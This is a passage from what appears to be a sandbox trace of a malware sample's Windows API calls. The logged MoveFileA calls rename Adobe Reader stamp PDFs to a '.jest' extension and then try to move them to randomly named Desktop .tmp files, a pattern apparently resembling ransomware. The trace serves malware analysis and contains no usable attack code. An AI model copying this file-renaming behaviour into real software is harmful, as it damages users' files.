10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sky\\standardbusiness.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\c6uOVg-Ic_0-o5kl-kHifclkT6Zpf-5SHWFp7xE4dQ77ZzJwKqYV-LNC mzOrddFYh1yi_G8iiEvDlmiBV15qbsx6FEQcP6Jv Qbd.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\c6uovg-ic_0-o5kl-khifclkt6zpf-5shwfp7xe4dq77zzjwkqyv-lnc mzorddfyh1yi_g8iievdlmibv15qbsx6feqcp6jv qbd.tmp")) returned 0 [0152.074] GetLastError () returned 0x2 [0152.075] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sky\\signhere.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\SignHere.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sky\\signhere.pdf.jest")) returned 1 [0152.076] GetLastError () returned 0x0 [0152.076] VarBstrFromR4 (in: fltIn=0x479450e1, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.76") returned 0x0 [0152.077] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sky\\signhere.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\X5mFO1 -fnhWiv6V62T6LgsyT_z2AnSFHTARKs_Mkyeu5ko_sqg7QjSH5wuy8GRrw9OfNMjBLqwMxrmOQArMnrSaXr32LyPsTZBJ3.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\x5mfo1 -fnhwiv6v62t6lgsyt_z2ansfhtarks_mkyeu5ko_sqg7qjsh5wuy8grrw9ofnmjblqwmxrmoqarmnrsaxr32lypstzbj3.tmp")) returned 0 [0152.077] GetLastError () returned 0x2 [0152.082] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\Standard.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sky\\standard.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\Standard.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sky\\standard.pdf.jest")) returned 1 [0152.083] GetLastError () returned 0x0 [0152.083] VarBstrFromR4 (in: fltIn=0x479450e3, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.77") returned 0x0 [0152.084] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\Standard.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sky\\standard.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\EZk2F-TlKAloKONpEmvydW9Wt5umcLeLKx hgRWcsnIuVeIiwjlUH2An9mfK36vchmoJUE8Wh_BXSY72XtKno9q0613hwk4gPGbRy.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ezk2f-tlkalokonpemvydw9wt5umclelkx hgrwcsniuveiiwjluh2an9mfk36vchmojue8wh_bxsy72xtkno9q0613hwk4gpgbry.tmp")) returned 0 [0152.085] GetLastError () returned 0x2 [0152.110] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sky\\dynamic.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\Dynamic.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sky\\dynamic.pdf.jest")) returned 1 [0152.112] GetLastError () returned 0x0 [0152.113] VarBstrFromR4 (in: fltIn=0x479450e7, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.8") returned 0x0 [0152.115] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sky\\dynamic.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\gU0Fo6tWIuheqQknFzuRsN1WuPXVBDw-kfrA2vDqF452XoiSg0mVxBbDDZ20irvu2MqdulSOMJ05oyc OQo-7q1D_AgQ8_2SEB8a7.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gu0fo6twiuheqqknfzursn1wupxvbdw-kfra2vdqf452xoisg0mvxbbddz20irvu2mqdulsomj05oyc oqo-7q1d_agq8_2seb8a7.tmp")) returned 0 [0152.115] GetLastError () returned 0x2 [0152.125] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\Faces.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sky\\faces.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\Faces.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sky\\faces.pdf.jest")) returned 1 [0152.127] GetLastError () returned 0x0 [0152.128] VarBstrFromR4 (in: fltIn=0x479450e9, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.82") returned 0x0 [0152.129] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\Faces.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sky\\faces.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\OKNqWFWm9nbbsmn00jt 8JtHIJ8fwxeV7OwhHCIlm1VbUsE6gSD1Vrj q2g8K_-BB_WbcR4A6S72Vg-tc8REDLUM6BD si0474OY.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\oknqwfwm9nbbsmn00jt 8jthij8fwxev7owhhcilm1vbuse6gsd1vrj q2g8k_-bb_wbcr4a6s72vg-tc8redlum6bd si0474oy.tmp")) returned 0 [0152.129] GetLastError () returned 0x2 [0152.136] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\Pointers.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sky\\pointers.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\Pointers.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sky\\pointers.pdf.jest")) returned 1 [0152.138] GetLastError () returned 0x0 [0152.138] VarBstrFromR4 (in: fltIn=0x479450e9, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.82") returned 0x0 [0152.139] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\Pointers.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sky\\pointers.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Qz73GjhjtE_vvyixLglXJdCY-BYHQqYzLZQW35sKrqn_w5WOUlJhfk6zdcm4ZefOQ2U9M6DnsRmc58nWj8wlCslDONlNQxB25D875.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qz73gjhjte_vvyixlglxjdcy-byhqqyzlzqw35skrqn_w5wouljhfk6zdcm4zefoq2u9m6dnsrmc58nwj8wlcsldonlnqxb25d875.tmp")) returned 0 [0152.140] GetLastError () returned 0x2 [0152.141] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rus\\standardbusiness.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\StandardBusiness.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rus\\standardbusiness.pdf.jest")) returned 1 [0152.144] GetLastError () returned 0x0 [0152.144] VarBstrFromR4 (in: fltIn=0x479450eb, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.84") returned 0x0 [0152.145] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rus\\standardbusiness.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ipefqjq7dBtfwSUC6xWoUbPookpbfjK26VdXiIifeHfqgr7tMHnzO_I3qn2 1Xn93cLXpy5m_msEFlY6C72rfD_rJEHw zWe1fwI.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ipefqjq7dbtfwsuc6xwoubpookpbfjk26vdxiiifehfqgr7tmhnzo_i3qn2 1xn93clxpy5m_msefly6c72rfd_rjehw zwe1fwi.tmp")) returned 0 [0152.146] GetLastError () returned 0x2 [0152.147] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rus\\signhere.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\SignHere.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rus\\signhere.pdf.jest")) returned 1 [0152.148] GetLastError () returned 0x0 [0152.148] VarBstrFromR4 (in: fltIn=0x479450eb, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.84") returned 0x0 [0152.149] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rus\\signhere.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\5Rxb57JeH72sBBIB4DDx-f1zcDoKtsiGkrxDr3SOsbcm2wCkT 0sKRafL6hAGM9Ils28-MbjO_uptlYvg7mqj32MwXZFsF jgsyh.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\5rxb57jeh72sbbib4ddx-f1zcdoktsigkrxdr3sosbcm2wckt 0skrafl6hagm9ils28-mbjo_uptlyvg7mqj32mwxzfsf jgsyh.tmp")) returned 0 [0152.149] GetLastError () returned 0x2 [0152.157] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\Standard.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rus\\standard.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\Standard.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rus\\standard.pdf.jest")) returned 1 [0152.158] GetLastError () returned 0x0 [0152.159] VarBstrFromR4 (in: fltIn=0x479450ed, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.85") returned 0x0 [0152.160] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\Standard.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rus\\standard.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\5n5gpulhdyRgKtX CpBfNMt9r60WhstwSMR CUD_Ax0VoompwVHrrT2e2 dycTctVevTKbrx8XZt-Ftbx54ttzT2U6oKIO0f-gww5.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\5n5gpulhdyrgktx cpbfnmt9r60whstwsmr cud_ax0voompwvhrrt2e2 dyctctvevtkbrx8xzt-ftbx54ttzt2u6okio0f-gww5.tmp")) returned 0 [0152.160] GetLastError () returned 0x2 [0152.160] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rus\\dynamic.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\Dynamic.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rus\\dynamic.pdf.jest")) returned 1 [0152.161] GetLastError () returned 0x0 [0152.162] VarBstrFromR4 (in: fltIn=0x479450ed, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.85") returned 0x0 [0152.163] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rus\\dynamic.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ypAbUMtic3Y12-xePifVEGEf8YSWTILX4U2WxJhnIgYjGv5fOCfDyhDo2RfjZBAlWeLEcPfyl8GupSzrHlE4w4HW_g9Jyfvi4 yx.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ypabumtic3y12-xepifvegef8yswtilx4u2wxjhnigyjgv5focfdyhdo2rfjzbalwelecpfyl8gupszrhle4w4hw_g9jyfvi4 yx.tmp")) returned 0 [0152.163] GetLastError () returned 0x2 [0152.163] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\Faces.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rus\\faces.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\Faces.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rus\\faces.pdf.jest")) returned 1 [0152.164] GetLastError () returned 0x0 [0152.165] VarBstrFromR4 (in: fltIn=0x479450ed, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.85") returned 0x0 [0152.166] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\Faces.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rus\\faces.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tugNXpOwcEdBzh_6A_3_lavo6OxnZVGlLFYY ArRWBM9Zo6_ONHtTyB-ziLB7kPxD7pnmb7tpmFyrAkVp-dBwr u_ z 4LFsK.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\tugnxpowcedbzh_6a_3_lavo6oxnzvgllfyy arrwbm9zo6_onhttyb-zilb7kpxd7pnmb7tpmfyrakvp-dbwr u_ z 4lfsk.tmp")) returned 0 [0152.166] GetLastError () returned 0x2 [0152.166] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\Pointers.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rus\\pointers.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\Pointers.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rus\\pointers.pdf.jest")) returned 1 [0152.167] GetLastError () returned 0x0 [0152.168] VarBstrFromR4 (in: fltIn=0x479450ed, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.85") returned 0x0 [0152.169] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\Pointers.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rus\\pointers.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\KK-J9EmDB2Ryy2_8VACtGCRS6SW2hG1Or8v6VvJyF_bVUOEKpo4X4SBLK0FWCZ5z5VUy82MeraboZeonzQp8k36LIL94Xx1xjx.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\kk-j9emdb2ryy2_8vactgcrs6sw2hg1or8v6vvjyf_bvuoekpo4x4sblk0fwcz5z5vuy82merabozeonzqp8k36lil94xx1xjx.tmp")) returned 0 [0152.169] GetLastError () returned 0x2 [0152.169] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rum\\standardbusiness.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM\\StandardBusiness.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rum\\standardbusiness.pdf.jest")) returned 1 [0152.183] GetLastError () returned 0x0 [0152.184] VarBstrFromR4 (in: fltIn=0x479450ef, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.87") returned 0x0 [0152.186] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rum\\standardbusiness.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\A39t7WNW4HWo2adIMZ5AQW6V70jpsZQ6yO07yMydYTZepMq2LEZPwvDYCQai_iYRenx0EnJhI-K8DyLybKKVsfJmSKPIZVyjqeEB.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\a39t7wnw4hwo2adimz5aqw6v70jpszq6yo07ymydytzepmq2lezpwvdycqai_iyrenx0enjhi-k8dylybkkvsfjmskpizvyjqeeb.tmp")) returned 0 [0152.186] GetLastError () returned 0x2 [0152.187] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM\\Pointers.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rum\\pointers.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM\\Pointers.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rum\\pointers.pdf.jest")) returned 1 [0152.188] GetLastError () returned 0x0 [0152.189] VarBstrFromR4 (in: fltIn=0x479450ef, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.87") returned 0x0 [0152.191] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM\\Pointers.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rum\\pointers.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\STmGAUeEYo_B4ziAj9hfbJ6VZsWL0X-f0RvJSL50m5CDBdwYYxGhd3sl--F-VFhwbJKY7MvPMdOlRJCLzsBcfGJStJ0vm Bpb1BV.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\stmgaueeyo_b4ziaj9hfbj6vzswl0x-f0rvjsl50m5cdbdwyyxghd3sl--f-vfhwbjky7mvpmdolrjclzsbcfgjstj0vm bpb1bv.tmp")) returned 0 [0152.192] GetLastError () returned 0x2 [0152.192] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rum\\signhere.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM\\SignHere.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rum\\signhere.pdf.jest")) returned 1 [0152.194] GetLastError () returned 0x0 [0152.194] VarBstrFromR4 (in: fltIn=0x479450f1, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.88") returned 0x0 [0152.195] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rum\\signhere.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Kn5hz-OY38LJsPo-5YG-5Bj7 JJU8 o9bwWL2c95zF_qFQfa8MRKztkJ6ubFBc8mT3iHlO3nvTmbcJyXmO4DSQEt9KA6PFKUdGg.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\kn5hz-oy38ljspo-5yg-5bj7 jju8 o9bwwl2c95zf_qfqfa8mrkztkj6ubfbc8mt3ihlo3nvtmbcjyxmo4dsqet9ka6pfkudgg.tmp")) returned 0 [0152.195] GetLastError () returned 0x2 [0152.196] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM\\Standard.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rum\\standard.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM\\Standard.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rum\\standard.pdf.jest")) returned 1 [0152.197] GetLastError () returned 0x0 [0152.197] VarBstrFromR4 (in: fltIn=0x479450f1, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.88") returned 0x0 [0152.198] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM\\Standard.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rum\\standard.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\weqGDy30PmMlaHXxkbdPcIg214qfhR6nGgFQcEbHSvfpyq9IhJ4V5DR5Y82iw1q5wT Q_5XlYkJZTSCY9V6LEF6OR3uGYnMijeN--.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\weqgdy30pmmlahxxkbdpcig214qfhr6nggfqcebhsvfpyq9ihj4v5dr5y82iw1q5wt q_5xlykjztscy9v6lef6or3ugynmijen--.tmp")) returned 0 [0152.198] GetLastError () returned 0x2 [0152.199] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rum\\dynamic.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM\\Dynamic.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rum\\dynamic.pdf.jest")) returned 1 [0152.200] GetLastError () returned 0x0 [0152.200] VarBstrFromR4 (in: fltIn=0x479450f1, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.88") returned 0x0 [0152.201] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rum\\dynamic.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zt6E3DIshZnwUpYS9Vy2dilMmUQSvkj21trOJ2M4UcH0KeDMP6X56JNkLbI-3GKbU9IyQ2KXJspKW4N8ZD8v7avganu4J-ZG0JhV.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zt6e3dishznwupys9vy2dilmmuqsvkj21troj2m4uch0kedmp6x56jnklbi-3gkbu9iyq2kxjspkw4n8zd8v7avganu4j-zg0jhv.tmp")) returned 0 [0152.202] GetLastError () returned 0x2 [0152.202] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM\\Faces.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rum\\faces.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM\\Faces.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rum\\faces.pdf.jest")) returned 1 [0152.203] GetLastError () returned 0x0 [0152.204] VarBstrFromR4 (in: fltIn=0x479450f3, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.9") returned 0x0 [0152.205] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM\\Faces.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rum\\faces.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\TWtO7jduI6d15okIS6_o8NQ7U64Z mP7Bgk3tpDMZvUDctBy0JES gxhGHQCxw4h5ZrYSKsf0MR3Jie_LOtzL66x0tgVgaRiZ4hj.tmp" (normalized: "c:\\users\\5p5nrgjn0js 